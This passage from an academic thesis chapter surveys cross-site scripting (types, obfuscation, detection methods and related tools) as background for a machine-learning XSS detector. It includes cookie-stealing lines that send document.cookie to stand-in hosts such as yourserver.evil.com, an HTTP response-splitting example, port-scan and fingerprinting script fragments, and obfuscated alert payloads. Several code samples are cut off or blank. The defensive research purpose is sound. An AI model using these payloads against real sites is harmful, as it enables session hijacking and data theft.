issue in a paper entitled "Script Injection" [63]; he described the problems, how
the vulnerability could be exploited, how an attack could be made persistent using
cookies, and how a cross-site scripting (XSS) worm works, and also the solutions
based on Input/Output (I/O) filtering.
26
2.4 Cross-Site Scripting
It should be noted here that an XSS attack takes advantage of the same-origin
policy (SOP) as SOP allows the browser to access another page if both pages have
the same origin. A page’s origin is identified via a combination of the URI scheme,
the hostname, and the port number [4]. Attacks written in JavaScript bypass the SOP
protection because a JavaScript that runs on a web page will run within the security
context of that page. This means that the attacker is free to execute malicious scripts
on the victim’s page, and so such scripts can gain access to the page’s resources and
data.
The use of the acronym CSS caused a confusion between the terms cross-site
scripting and cascading style sheets, so to avoid the confusion the acronym XSS is
used instead. Cross-site scripting (XSS) is the class of web application attacks in
which an attacker causes a victim’s browser to execute JavaScript with the privileges
of a trusted host [203]. In other words, XSS is an attack caused by the injection
of malicious JavaScript into either the client or server process[63]. A XSS attack’s
bypassing of the same-origin policy enables the script to interact with another site
via the browser, which is the reason that this type of attack is called cross-site.
Many web applications have a dynamic user interface applying such facilities
as input forms, image view, and so on. One of the main languages employed to
implement interactive user interfaces is JavaScript, which is usually included in, or
imported into, HTML pages. When the user browses pages that contain JavaScript,
then these scripts are executed on the user’s browser. Often, a web page will contain
several locations at which input data is requested from the user. Users can enter
data at these points within HTML pages in a text format, but the page, the HTML
itself, does not verify or validate the data entered at these locations. Therefore,
these data-entry locations enable an attacker to inject malicious JavaScript by simply
entering such script as user input.
One simple kind of XSS attack is known as phishing. A phishing attack is
defined as an attempt to deceive the victim by using either or both social engineering
and technical subterfuge to steal a victim’s sensitive data — such as personal or
financial identity data [43]. An example of phishing with XSS is that of using query
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strings in malicious URL strings, which are sent to the victim purporting to be a
legitimate website URL. An example is "www.mybank.com/program?querystring",
where the string after the "?" is used by the attacker to include malicious script such as
"www.mybank.com/?q=%28%22%3Ciframe +src%3D%27http%3A%2F%2F. . . ".
If the victim clicks on a link that contains this malicious code, then this code is run
as a component of the current page; thus circumventing the standard trust policy
(SOP) that is maintained by the browser.
Another example of a type of XSS attack is that of stealing cookies. This type of
attack, as its name suggests, has the ability to obtain the data contained in cookies;
the user’s cookies are transferred to the attacker when the user opens a web page that
contains a particular kind of XSS. An example of such an attack is:
document.location="http://bsite.com/cookie.cgi?cookie=',
+document.cookie;
The value of the parameter "cookie" in "document.cookie" is a function which
obtains cookies. Thus the cookies are stolen once the user opens the web page [108].
XSS attacks are not limited only to JavaScript injection. That is, it is not necessary
to use JavaScript as the attack vector; such attacks can be based on other vectors,
e.g., Flash, VBScript, QuickTime, CSS, XUL, and even browser extensions, as well
as PDF files [63, 137]. In this study, the focus will be purely on the kind of XSS
attacks that work by being stored in web application databases.
The most well-known sites that have been affected by XSS are Facebook; attacks
via this means have affected around 400 million Facebook users. In addition, more
than 75 million Twitter users who have been affected by such attacks [216]. In
October 2005, the Samy worm infected more than 1 million users of MySpace.com
within 24 hours. The Orkut Born Sabado virus was a very well disguised XSS
worm. While this latter was active, an Internet user account on Orkut could be
tainted by the user causing the interpretation of just a fragment of code transferred
by a user who had already been infected. The JavaScript Yamanner worm was
discovered to have attacked Yahoo! Mail. The Xanga XSS worm was found on
a number of blogs. The Gaia worm and the U-Dominion XSS worm were both
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discovered to have infected web gaming applications. The Justin.tv XSS worm was
detected on a video-hosting website. The SpaceFlash XSS worm also infected the
MySpace web application. [73]. Most worm attacks that have been significantly
successful in exploiting vulnerabilities have been stored XSS attacks infecting web
applications. The difference between an XSS attack and an XSS worm is that an
XSS attack occurs when the attacker injects a malicious script onto the client-side, so
the script is executed on the victim’s browser with the same permissions as benign
scripts in order to obtain sensitive information from the victim. In contrast, an XSS
worm controls the web browser and propagates itself by forcing the browser to copy
malware to other websites and so infect others [71].
2.4.2 Cross-Site Scripting Types
The understanding of, and the identification of the types of, XSS attack is an essential
first step. The main types of XSS attack are as follows: non-persistent (reflected)
XSS, persistent (stored) XSS, attacks exploiting DOM-based vulnerabilities, and
Induced XSS; the latter is not as common as the other three types of attack [122].
2.4.2.1 Stored or Persistent XSS:
This type of hack occurs when malicious code is injected into web application servers
in such a way that it stays there on a permanent basis; this is done by, first, searching
for vulnerabilities in a web application, and if any are present, malicious code can
then be injected into these (or this). As a result of this activity, a malicious script will
be stored in the web application database, such that this (the code) is executed every
time the associated web page is visited. Thus, the script will run on the victim’s
browser in order to obtain sensitive information from the victim, which it will then
make available to the attacker. It will also retain its place on the application’s
database, ready to affect another user. Usually, XSS attacks are performed on web
applications that take input from the user in the form of text and then store this text
in the application’s database. Examples of facilities that are vulnerable to this type of
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attack are blogs, forums, comments, and profiles [105, 122, 147]. Figure 2.3 shows
the nature of a persistent XSS attack.
Fig. 2.3 Stored or Persistent XSS
2.4.2.2 Reflected or Non-persistent XSS:
In contrast to XSS stored attacks, XSS reflected attacks do not store malicious script
on the web server. This kind of attack occurs when the attacker sends the malicious
code either by email or otherwise via an embedded link. When the user uses this link,
the code then causes the victim, unbeknownst to him/her, to be redirected to another
server — which is under the attacker’s control. From this point on, the attacker is at
liberty to send malicious code to the victim, which is then executed on the victim’s
browser, see Figure 2.4.
By employing the above means, an attacker can bypass the SOP (same origin
policy), and so, when the code is executed on the browser, the attacker can obtain
sensitive information from the victim[105, 122, 147].
2.4.2.3 DOM based XSS:
This type of XSS attack occurs as a result of the attacker modifying the DOM
(Document Object Model) environment in the victim’s browser. This is modified
by the attack-script and this leads to the client-side code running in an unexpected
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Fig. 2.4 Reflected or Non-persistent XSS
manner. In such an attack, the web page itself does not change, but the results
of running it are unexpected — because of the changes that have occurred in the
DOM environment. A DOM-based attack differs from the previous type of hack
because it is executed on the client-side [122]. The attack occurs when malicious
code (JavaScript) has gained access to the URL parameter and this access has been
used to write attack HTML code which will be executed as an error response when
the legitimate page code is executed in the new DOM environment (which causes it
to fail) [105]. The workflow for this kind of XSS attack is shown in Figure 2.5.
2.4.2.4 Induced XSS:
This type of server-side attack is uncommon but nevertheless possible. An induced
XSS attack is otherwise known as an HTTP response splitting attack. Here, a
HTTP request, sent to the server as a result of some client-side process, contains
malicious code. When the application/server responds to the request, it will include
the malicious code, from the request, in the HTTP header of the page it intends
to ‘send back’ to the client. In the process of responding, the server will evaluate
the response as HTML; thus, the malicious code will be executed in the server
environment and allow further breaches. This type of attack can, generally, only
occur when the application allows input to contain carriage return and line feed.
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Fig. 2.5 DOM-XSS Workflow [121]
Example of an "Induced" XSS attack on a server, using JSP obtained from [55]: The
server will generally have a script (redir_lang.jsp) in JSP that redirects users to the
version of the website appropriate to them as determined by the language they have
selected for use; the following code could be used for this:
&lt;% response.sendRedirect("/lang.jsp?lang="+
request.getParameter("lang")); %&gt;
When the user makes a request for the use of a particular language (lang = English),
the server redirects to the correct selection. The server only accepts (“es"/"en") as
valid inputs for the language, so the header is:
HTTP/1.x 302 Movido temporálmente






Set-Cookie: usc_lang=3; Expires=Thu, 22-Oct-2009 15:59:33 GMT
Connection:Close
[...]
Also , the request will seek to provide a "solution" to the user, inserting the website
that "should" apply. The message which is displayed to the user is usually something
like the following:
302 Moved Temporarily
This document you requested has moved temporarily.
It’s now at http://www.xxxxx.com/lang.jsp?lang=en
The above means that the parameter "lang" is now "embedded" in the head "Loca-
tion" of the HTTP headers. This, in turn, means that an attacker can try to change
this parameter for nefarious purposes. Thus, the attacker may proceed by creating a
malicious HTTP response using “splitting.” For that, we are going to make a request
to the -script- (redir_lang.jsp) with an injection which uses CRLF encoding. Through
a series of characters will "close" the first response from the server and will "open" a
new just after (2 responses 1 == HTTP Splitting):




We note the response from the server:
HTTP/1.x 302 Movido temporálmente
Date: Tue, 11 Jul 2009 14:07:11 GMT
Location: http://www.xxxxx.com/lang.jsp?lang=foobar Content-Length: 0 HTTP/1.1
200 OK
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Set-Cookie: usc_lang=3 Expires=Thu, 22-Oct-2009 15:59:33 GMT
Connection: Close
As we see there has been a “split.” The attacker has modified a valid injection,
extending the header to include an HTML page with text SCG-09.
This study will focus on persistent XSS (stored) attacks, whereby the script is
stored in the web application database and so affects the web application’s visitors.
2.4.3 Dangers caused by XSS
XSS attacks pose significant risks to the user, especially risks associated with the
obtaining of sensitive user information. The following are the most common ex-
ploitations that may be perpetrated against the user via XSS attacks.
• Stealing a user’s cookie: A cookie is an information file, created by a web server,
but stored on the user’s computer. Its purpose is to maintain, on the user’s
machine, the user’s identity (as far as the server is concerned), and also the
user’s preferences. In addition, it may contain confidential information such as
banking information, passwords, and session IDs. Thus, an attacking system
can extract the session ID from such a cookie and place it within its own
cookie If the authentication on the web site in question is based only on cookie
parameters, then the attacker will acquire full access rights [94, 161]. Example
for stealing cookie [214]:
document.write('<img src="https://yourserver.evil.com/
collect.gif?cookie=' + document.cookie + '" />')
• Making use of a Modified Web-page An attacker may modify a web page used
by a site so that instead of, or in parallel with, performing its usual function, the
page (or more usually, a page that it redirects to) will collect the information
that the user types in. Any XSS vulnerability of the page will allow the attacker
to include a script that, for instance, redirects the user to another page which
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has been set up to steal the user’s information. One form of this kind of attack
is the phishing which has been carried out on the eBay website; here, the XSS
code redirected auction viewers to phishing sites and to modified versions of
the eBay auction page which then stole the user’s credentials. This led to the
disclosure of passwords, credit card numbers, and other personal information
[161].
• Collecting status/statistics information: The JavaScript language offers program-
mers access to a number of parameters such as browser history and referrer
(in the HTTP header field). This is valuable information for attackers. Such
information can be used as the basis for the collection of data for hacking
purposes. The attacker includes the URL of an image in a web-site that has
been infected; when the user requests the image from the server, it will execute
a malicious script (contained in the properties of the image) which will obtain
some status/statistical information from the client before allowing the display





var plugins = navigator.plugins;
var mimeTypes = navigator.mimeTypes
document.write('<P>');
for (i=0;i<plugins.length;i++) {





var mimetype = plugin[j];
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The above script displays/returns all the browser info: version , platform, and
all the installed plugins.
• Exploiting browser vulnerabilities: An attacker may exploit the bugs which may
be found in the user’s browser and/or in any plug-ins installed on the browser
— via malicious JavaScript or HTML. For instance, if there is a bug in a plug-in
such as VM, this will allow the hacker to perform two-way communication
with non-HTTP services on the local computer [161]. The following is the
code for a forced download achieved via this mechanism [214]:





• Capturing Clipboard Contents: JavaScript can be used to capture the clipboard’s
contents. Depending on circumstances, this can contain very sensitive user
information such as passwords, etc. (which the user may have temporarily
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• Keylogging: An attacker can register what their victim types on the keyboard by
using addEventListener, which sends this information to the attacker. The
information obtained can be anything that the user types in: e.g., passwords,




• Stealing History and Search Queries: JavaScript can be used to discover the
sites recently visited by the user and the searches that the user has performed.
This can be done by dynamically creating hyperlinks for common web sites,
and for common search queries, and using the getComputedStyle API to test
whether that link should be colorized as visited or not visited. A huge list of
possible targets can be quickly checked with minimal immediate impact on
the user [161].
• Port Scanning and other advanced attacks: JavaScript can be used to perform
a port scan of the hosts on the local network in order to determine which
servers can be exploited [161]. Example of a port scan [214]:
var AttackAPI = {
AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback,
target, port, timeout) {
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var timeout = (timeout == null)?100:timeout;
var img = new Image();











AttackAPI.PortScanner.scanTarget = function (callback, target,
ports, timeout){
for (index = 0; index < ports.length; index++)
AttackAPI.PortScanner.scanPort(callback, target,ports[index],
timeout);};
Malicious code may be inserted by an attacker in one of two forms. The first
form is that of normal statements of the attacker’s chosen programming language
(generally, JavaScript); the second form is that of obfuscated code, as described in
the following.
2.5 Obfuscation of Malicious Code
The process of code obfuscation consists of making modifications to a program,
such as changing the names of variables and functions, in order to make the code
more difficult to read and understand. Both benign and malicious scripts may
be obfuscated — for differing reasons. Usually, the purpose of obfuscating benign
scripts is to protect privacy or intellectual property rights. In contrast, the obfuscation
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of malicious scripts is carried out in order to hide the script’s malicious intent; the
obfuscation of malicious scripts is usually designed to evade the static inspection
process. Attackers may apply multiple obfuscations in order to hide the malicious
nature of their scripts in the most effective way possible [217]. Figure 2.6 shows an
example of an obfuscated malicious script.
Fig. 2.6 A Real-World Obfuscated Drive-by Download [217]
2.5.1 Obfuscation Methods
Malicious script obfuscation techniques can be classified into 4 types, as follows:
using ASCII or Unicode values; using the XOR operation; splitting the string;
and applying a compression algorithm to the string. By applying these methods,
JavaScript code (for instance) can be expressed as a set of numbers and randomized
alphabetical and special characters so that it becomes disorderly and unreadable
[103]. The types of obfuscation can be detailed as follows:
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2.5.1.1 Using ASCII or Unicode values
This is the method which is most used to obfuscate script. The characters of the
JavaScript code are replaced by numeric representations of their ASCII or Unicode
values; this means that at first glance, the string does not look like a script at all
(just a sequence of numbers) and that a time-consuming process must be undergone
in order to decode the script and so understand what it might do. Such obfuscated
strings may be converted back to their original form in the browser by using a variety
of functions such as eval, unescap, and document.write.
2.5.1.2 Using the XOR operation
This method works by assigning a key value as one operand of an XOR operation,
then each character of the script is modified by the application of this XOR operation
to it (as the other operand). In other words, this key is applied to modify the script
to be a sequence of alphabetical characters, digits, and symbols that are not readily
understandable. In addition, if the key that was used to modify the string is lost or
otherwise not known, it can take a very long time to decrypt to the original script.
2.5.1.3 Splitting the string
This method is based on splitting the string containing the script into several smaller
strings; once this is done, these smaller strings are then re-ordered so as to reduce the
readability of the script. The original script can be recovered by the use of the "+"
operation, in the eval function, applying the known correct order of the substrings.
2.5.1.4 Compressing a string and replacing with a meaningless string
This method does not imply string compression in the normal sense. The output
strings are, in fact, generally longer than the original clear-text strings on which they
are based. However, the method does change words or characters in such strings to
be otherwise meaningless strings which include special characters, etc. (producing
outputs which look much like those produced by the XOR method). This process is
performed using a tool which processes the input string as a grammatical statement.
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An attacker may use any one of these methods or any combination of them to
obfuscate malicious scripts, the aim being to make the detection of these malicious
scripts very difficult. This study will look at the results of this obfuscation process in
order to implement a framework which will assist in the detection and prevention of
XSS attacks which use it. The malicious scripts which have been collected for the
experiments that will be undertaken in order to develop this framework will include
ones which have been obfuscated using a number of techniques: binary, hexadecimal,
base64, and URL encoded. To discover the nature of these scripts, they have been
de-obfuscated and then analysed.
For example, the following script is used as a basis for obfuscation.
<script>alert(document.cookie); </script>
Obfuscated by using URL encoding, this becomes:
%3Cscript%3E%0D%0Aalert%28document.cookie%29%3B%0D%0A%3C%2Fscript%3E
And the same script obfuscated by using "base64" is as follows:
PHNjcmlwdD4NCmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk7DQo8L3NjcmlwdD4=
Here is another example:
h t t p : / / bg . msi . com / s e r v i c e / s e a r c h / ? kw= ’ ; a l e r t
(XSS by Keeper ) / / \ ’ ; a l e r t (XSS " ; a l e r t (XSS by Keeper ) / /
\ " ; a l e r t (XSS by Keeper ) / / − − > </ s c r i p t >">’>< s c r i p t > a l e r t
(XSS by Keeper ) < / s c r i p t >&t y p e = p r o d u c t
When obfuscated using a URL encoding of a decimal representation of the
















When the URL encoding is removed, the script becomes:
http://bg.msi.com/service/search/?kw=';alert(string.fromcharcode
(88, 83,83, 32, 98, 121, 32, 75, 101,101, 112, 101, 114))\';
alert(string.fromcharcode(88,83,83))//";alert(string.fromcharcode
(88, 83, 83,32, 98, 121, 32, 75, 101, 101, 112, 101, 114))
//\";alert(string.fromcharcode(88, 83, 83, 32, 98, 121,32, 75, 101,
101, 112, 101, 114))//--></script>">'>
<script>alert(string.fromcharcode(88, 83, 83, 32, 98, 121, 32, 75,
101, 101, 112, 101, 114))</script>&type=product
Which is still not understandable, of course, Only once the decimal representation
of the characters has been reversed – such that all characters are again represented
simply as themselves, does this script revert to its original form.
This last example shows that an attacker may use more than one technique in
combination in order to make their malicious script more difficult to read.
2.6 Cross-Site Scripting — Types of Analysis
In this section, the methods employed for the analysis and detection of XSS scripts,
and the advantages and disadvantages of each of these methods will be explored.
There are two main criteria used for analysis, which of these criteria are triggered
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helps to determine the kind of protections which must be used against the XSS
attack in question: The point of deployment is one of these criteria, this is either the
client-side or the server-side, and the second criterion is the analysis paradigm in
use: static or dynamic [195].
2.6.1 Static Analysis
Static analysis is usually employed as part of a code review and is otherwise known
as white-box testing. Static analysis works by running a static code analysis tool
which highlights the potential vulnerabilities in a piece of software without actually
running it. Static analysis applies techniques such as taint analysis and data flow
analysis [148], and these techniques allow it to determine some attributes of the
source code or object without executing it. The static analysis techniques used to
detect XSS vulnerabilities in web applications are as follows:
• Taint Propagation Analysis: This applies data flow analysis in order to track the
information flow from source to sink [84]. In order to provide good security, it
is necessary to have strong filters positioned to work at run-time so that there
are absolutely no vectors which can be used to inject malicious scripts. Thus,
taint analysis on its own cannot provide a strong security mechanism.
• String Analysis: This form of analysis grew out of studying programs which were
to be used for text processing. XDuce, a language designed for specifying
XML transformations, uses formal language definitions and can be applied
to the implementation of this kind of analysis. It has the ability to parse
strings written in Java in order to check for errors embedded within them. [36].
Web applications tend to interpret their own internal scripts via a JavaScript
interpreter, so this method (based on Java rather than JavaScript) is of little
practical use for finding XSS vulnerabilities.
• Preventing XSS Using Lists of Untrusted Scripts: A comparison is made be-
tween the data provided by the user (e.g., via user input) and a list that contains
various untrusted scripts [204]. In the OWASP document, it was indicate that,
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"Do not use "blacklists", because if any changes occur. . . [the system] will be
attacked." XSS scripts can be very variable, and this makes it easy to bypass
any protection based on a blacklists.
• Software Testing Techniques: This kind of analysis is a mix between user be-
haviour simulation and user experience modelling. It can be employed to
discover errors made in the development cycle. Although this method is un-
able to provide immediate protection for web applications, it does provide
software testing techniques such as black-box testing, fault injection, and
behaviour monitoring of web applications — which all help in the detection of
vulnerabilities [168].
• Bounded Model Checking: This uses counterexample traces to reduce the num-
ber of insertion sanitization routines required to determine the causes of errors,
and to increase the accuracy of error reports and code instrumentation. To
verify the authenticity of the flow of information within web applications, this
analysis process assigns states to variables representing current trust levels.
Then, the bounded model checking technique is applied to verify the integrity
of the functions [85]. This technique leaves out alias analysis and file resolu-
tion. These latter are problems which are found in most current systems, and
so this compromises the usefulness of the analysis [92].
2.6.2 Dynamic Analysis
Dynamic analysis is, of course, the opposite of static analysis. A dynamic analy-
sis will review an application’s performance at code execution time; thus, it can
understand, to a greater extent than a static analysis, what the code actually does
[52].
• Interpreter-based Approaches: Pietraszek and Berghe [156] used an approach
which employed an instrumenting interpreter to track the processing of un-
trusted data at the character level and to identify vulnerabilities; they used
context-sensitive string evaluation at each susceptible sink. This method is
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implemented by modifying an interpreter, but it is not easy to modify the
interpreters of some programming languages (such as Java) .
• Syntactical Structure Analysis: A successful injection attack changes the syn-
tactical structure of the exploited entity [183]. Thus, syntactical structure
analysis examines the syntactic structure of output strings in order to detect
any malicious code in any sub-string within a string being transferred from
source to sinks. This method is successful for detecting any kind of vulnerabil-
ities other than XSS. The latter is not detected because checking the syntactic
structure is not enough to prevent this kind of work-flow attack caused by the
interaction of multiple modules [15].
2.6.3 A Combination of Static and Dynamic Analysis
Lattice-based Analysis: WebSSARI is a tool which combines the advantages of
static analysis with those of runtime analysis — so as to make finding security
vulnerabilities easier. This tool uses flow-sensitive, intra-procedural analyses to
detect vulnerabilities. The problem with this method is the fact that it may return
large numbers of false positives and negatives due to its intra-procedural type-based
analysis. Moreover, this method assumes that the filters that have been implemented
to validate user input are safe (that is, they work perfectly). Therefore, this method
may miss some real vulnerabilities. because the filters actually implemented may
not be able to detect some malicious payloads [213].
2.6.4 Machine Learning Analysis
With regard to [122], machine-learning has been categorised as a quite separate
approach, not to be classified as either a static or dynamic analysis. Machine
Learning (ML) is a data science technique. The goal of machine-learning is to create
software/hardware which can predict, hitherto unknown, outputs by learning from a
set of training data and its (known) outputs. Outputs can be such things as document
classifications, image classifications, behaviours, trends, etc. This type of analysis
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relies on large data collections to be used as training data. Then, a complex algorithm
can be put to work to identify the relationships between inputs and outputs using the
features which can be extracted from the data. As a result, the classifier may be used
to predict the classes of items of new (so far unseen) data (in our case, scripts). This
research will focus on using machine-learning for XSS detection (in the first phase).
Machine-learning will be discussed in detail in the next section.
2.7 Machine Learning Overview
In the course of the last decade or so, the use of machine learning has spread
rapidly. The machine-learning concept, in overview, is that a computer system can
be programmed to learn automatically, that is, with minimal human intervention,
from data that is provided to it [48]. There are many examples in everyday life
of systems which utilise machine learning: E-mail filters, recommender systems,
advertisement placement, fraud detection, trading stocks, some web searches, and
many others. Another, overall, definition of machine learning is a collection of
methods that automatically find patterns in data, then use these patterns to predict
future data [134]. With this definition in mind, Nilsson stated in [143] several reasons
why using machine learning can be beneficial. The reasons that Nilsson cited are:
• Some tasks cannot be defined well, in detail, but can be readily described
by using examples. It is possible to identify pairs of inputs and outputs
which match according to a particular requirement, but not to find a concise
relationship between those inputs and outputs. For these kinds of task, machine
learning can be employed to adjust the internal structure of a classification
system so that it can produce correct ‘pairs’ for a large number of input
samples, learning the implicit relationship between inputs and outputs from
the training examples.
• The tendency is for important relationships, existing between data items, to
be hidden within big data.; thus, machine-learning methods are often used to
extract these relationships.
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• Developers sometimes produce systems which do not work as desired in the
operational environment for which they were designed. The reason for this
is that the characteristics of the data that will be encountered by the system
may not be completely known at design time. To avoid this situation, machine-
learning methods can be used so that the system can learn from the data it
actually encounters, and therefore can perform its tasks more competently.
• The sheer amount of knowledge (in terms of relationships between items
of data) needed to perform certain tasks well may be too great for human
designers/programmers to deal with. However, machines that can learn this
knowledge from the data itself may, over time, be able to deal with such
situations.
• Some environments are subject to constant change. Machines can adapt to
such environmental change using machine learning. This ability to adapt very
rapidly reduces the need to redesign the system which must deal with such an
environment.
This study will apply machine-learning, taking advantage of the features that are
made available by it. The next section will identify and discuss the types of machine
learning which can be used.
2.8 Machine Learning Types
There are three main types of machine learning. The categorisation into these types
is based on the problem to be solved and the dataset(s) to be used. The types are as
follows: (1) supervised learning, (2) unsupervised learning, and (3) reinforcement
learning [34].
2.8.1 Supervised Learning
This type of machine learning trains a classifier system by using labelled data; that
is, data the classifications of which are known in advance — e.g., examples of spam
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emails alongside examples of non-spam emails, both accurately labelled as such so
that the system can learn to distinguish between the two. In supervised learning, the
system will learn how to recognize the different classes it will be presented with
by looking at the training data and which kinds of data-item in this data is linked
with which class [179]. Subsequently, then, it will be able to classify unlabeled data.
Supervised learning is also called predictive learning because this type of machine-
learning learns the links between the data-items and the labels in the training dataset
in order to be able to predict the output classes for input data that are new to it.
Typically, each input is pre-processed so that it is presented to the learning algorithm
as a set of dimensional values which are usually represented as numbers and can
be called features, attributes, or covariates. Such features can be used to represent
complex structures such as images, sentences, email-message, etc. Similarly, the
outputs of classification or prediction, which may also be termed response variables
or labels, can be anything, but most of the methods assume these will be categorical
or nominal and indicate, in each instance, a specific group. This machine-learning
method solves a problem known as classification, pattern recognition, or regression
[34, 134].
2.8.2 Unsupervised Learning
This method is, in the way it operates, quite different from supervised learning. In
unsupervised learning, the system trains itself based only on unlabelled data. The aim
of this type of learning is to discover at least some of the relationships which exist in
the data and to derive a summary of these [179]. Also called descriptive learning,
such algorithms are simply given the raw input, from which they must find interesting
patterns in the data; this is also termed knowledge discovery. Unsupervised machine-
learning is not a well-defined problem since the kinds of patterns which such an
algorithm must look for are not well-defined. Moreover, there is no clear measure of
success or failure that can be used [134]. "Unsupervised learning aims at clustering,





This type of machine-learning is used for solving some of the problems which
arise when automatic decision-making is required. These problems usually revolve
around a sequence of decisions. Examples of systems which would use this type of
learning are robot perception and movement systems, computer chess algorithms,
and automated vehicle driving [34, 134]. Unfortunately, this type of learning is
beyond the scope of this study.
This study will adopt the use of supervised learning because this type of machine-
learning encompasses the classification technique on which this study will depend.
The next section presents supervised learning in more detail.
2.9 Supervised Learning
In practice, supervised learning is the most widely used type of machine learning.
This type of learning uses complex mathematical algorithms to improve the per-
formance of a classification or prediction function which is given data, x, in the
particular domain. Then, by using this improved function, the system should be
able to accurately predict for interesting values h(x) [129], which h(x) is the best
predicted value. In real applications, x may be represented by several dimensional
points (known as features). For example, malicious (and benign) scripts may be
represented via the features of readability (x1), contains a script tag (x2), contains
image tag (x3), and so forth. The goal of supervised learning is to find the best h,
called the final hypothesis [34]. The process whereby supervised learning is achieved
in relation to real problems can be summarized as shown in Figure 2.7.
After identifying the problem, the next step is to collect the necessary data.
The collection of data resulting from this is called the dataset. Then, it must be
determined which attributes, or features, are the most informative. After this, the data
preparation and data pre-processing procedures must be defined; these depend very
much on the problem to be solved. Feature selection is a process which identifies
relevant features and removes from consideration as many irrelevant features as
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Fig. 2.7 The Process of Supervised ML [111]
possible. The aim of this step is to reduce the number of dimensions of the data and
so enable the algorithm to operate faster and more effectively [111]. The selection
of the learning algorithm to use is probably the most important step here. Algorithm
selection depends on trade-offs between the characteristics of the various algorithms,
such as training speed, memory usage, the accuracy of new data prediction, etc.
[128]. The algorithms used in supervised learning are divided into two categories:
classification, and regression.
2.9.1 Classification
Classification is defined as a discrete mapping from input to output. The output can
be, at its simplest, just one of only two responses for each input; where this is the
case, the classification is termed a binary classification. When the output consists
of a response chosen from more than two possibilities, the classification is termed
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a multi-class classification [134]. The use of this category of supervised learning,
classification, is widespread in relation to interesting real-world problems. Examples
are document classification, image classification, and handwriting recognition. The
common classification algorithms are as follows: support vector machine (SVM)
classification, Neural Networks, Naïve Bayes, Decision Tree, discriminant analysis,
and k nearest neighbours (kNN) [127].
2.9.2 Regression
Regression is much like classification except that the output or response variable is
continuous [134]. Examples of systems which use this type of supervised learning
are those that predict the temperature inside a building, depending on weather data,
time, ... etc., and those that predict/discover/guess the age of the viewers who
watch a particular video on YouTube. Common regression algorithms are linear
regression, non-linear regression, generalized linear models, Decision Trees, and
Neural Networks [127].
In this study, classification will be used to distinguish between user inputs:
whether malicious or benign. This will be performed by investigating HTTP requests
that have been sent to a web application.
2.10 Related Works
A number of studies have been conducted relating to the detection and prevention of
attacks against web applications in general, and those perpetrated via XSS in particu-
lar. These studies have discussed detection and prevention from many perspectives
and have used many techniques. This section will review how these related works
have detected XSS attacks. This section will be laid out on the basis of the analysis
techniques discussed, where the first sub-section will include static and dynamic
analysis, and the second section will include the analysis of machine learning per-se.
51
Background and Related Works
2.10.1 Static / Dynamic Analysis
Nentwich et. al. provide a dynamic and static data tainting analysis technique for
preventing cross-site scripting in [195]. The goal of this technique is to prevent
any sensitive data being sent to a third party; this is accomplished by the use of
monitoring software running on the user’s browser. A mechanism was designed to
track how sensitive data is used in a browser. This mechanism depends on dynamic
data tainting, which works by ticking the sensitive data first, then when it is detected
that scripts want to access this data, these scripts are run in a way which can be
monitored, thus implementing dynamic tracking. The object in question may be
tainted arithmetical or logical operations or assignments, e.g., (+, −, &, etc.); control
structures and loops, such as (if, while, switch, for in); or function calls. When the
evaluation of tainted data tries to transfer information to a third party, there are many
actions that the tool can perform, such as logging, preventing the transfer, or stopping
the program with an error. Unfortunately, the dynamic methods in this system cannot
detect all of the possible kinds of control dependencies. There are ways in which an
attacker can trick the dynamic analysis, by covering a variable not tainted in scope
by using an if statement to obscure that variable. To deal with these cases, the static
analysis must ensure that all variables receive a new value on any path within the
tainted scope. If this is done, the problem is solved.
The Noxes tool is a system which is used to detect XSS. Noxes acts as a web
proxy [105]; it is designed to mitigate XSS attacks and can be used manually or
it can be set up to run automatically via the generation of rules. Noxes effectively
protects against the leakage of sensitive information from the user’s environment
and generally requires minimal interaction from the user. It focuses on mitigating
stored and reflected XSS attacks and is installed as a Microsoft-Windows-based
personal web firewall application. It provides an extra layer of protection by allowing
the user to control the communications that take place via the browser. Personal
firewalls facilitate the control of the Internet connections which are active on the local
machine. The system analyses the current page (being viewed) and extracts all the
links embedded in that page. Then, it includes temporary rules in the firewall which
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allow the user to follow up on these external links, but only once without the need for
prompting. These rules are deleted by the garbage collector once they have remained
unused for a certain period of time. All this is achieved by checking the referrer
HTTP header and comparing this with the domain of the requested page. If a page
which is linked to is not in the local domain, the system checks the temporary rules
for this request. If it finds similarity, it allows the request. If it does not find anything
relevant, it checks the permanent similarity rules. If it does not find any similarity
related to the request, then the user is prompted for action manually: should the
link-transfer be allowed or blocked. One issue is whether the referrer header is in the
request. There are two cases where the request is missing a header: (i) in the case
of a manually typed URL; (ii) in the case of clicking on a link in an email. Noxes
usually allows the request in these two cases, since they do not contain sensitive
information. Thus, Noxes will apply a defense mechanism to prevent attacks where
such attacks are likely. The limitation of this technique is that it works against stored
and reflected XSS attacks, but does not address DOM-based XSS [122].
XSS-GUARD is a framework that operates on the server-side [21] to detect XSS
attacks, and it works by exploring the intentions of web applications. It is based
on two observations: (a) web applications are written assuming that benign inputs
will be received, which will return certain required responses when evaluated as
HTML; (b) malicious inputs belie these intentions, causing HTML responses which
exploit vulnerabilities in order to access sensitive data, etc. Since these intentions are
implicit, the framework dynamically elicits these intentions from the web application
during each execution of the application. The main idea of XSS-GUARD is to
discover the intentions of a text which is to be evaluated via HTML by comparing the
script itself to what the authors of the system describe as its “shadow.” This process
allows the system to identify what functions, script-sequences, etc., the responses
will use. If the string contains any script-sequence which is not authorized (and
therefore not represented in the “shadow”), then the unauthorized elements of the
string will be removed before the string is allowed to be evaluated. The main idea of
XSS- GUARD is to discover the intention of a web application page HTTP response
53
Background and Related Works
by comparing this with its corresponding shadow page. A comparison is performed
between the real page script and the shadow page script, if a variation is detected, this
indicates a deviation from the intentions of the web application and thus indicates
an attack. One limitation of XSS-GUARD is that its implementation depends on a
JavaScript detection component in the browser. Another limitation is that an attacker
may still attack a web browser via “quirks” [98]. Examples of tricks that can be used
by the attacker to circumvent this system include the division of the script into a
number of parts which are then re-assembled (together) on the browser, or (possibly
in combination) the encryption of the script.
The Blueprint tool is quite similar to XSS-GUARD. It constructs a “blueprint”
in the server which represents all the possible allowable content for the untrusted
pages it must evaluate. Each script to be evaluated as HTML is first parsed and then
its contents are compared against the “blueprint” of allowable scripts. Untrusted
scripts which contain possible attacks are removed. [78, 118]. Blueprint has both a
server-side component and a client-side script library [122], and it generates a parse
tree by parsing the untrusted HTML which is present on the application server. The
checking mechanism must be lenient enough to allow HTML content that has come
from untrusted user input, but which is benign; and on the other hand strict enough to
defend against hidden attacks using maliciously formed content which is intended to
exploit the browser. The client-side model interpreter decoding assists in this process
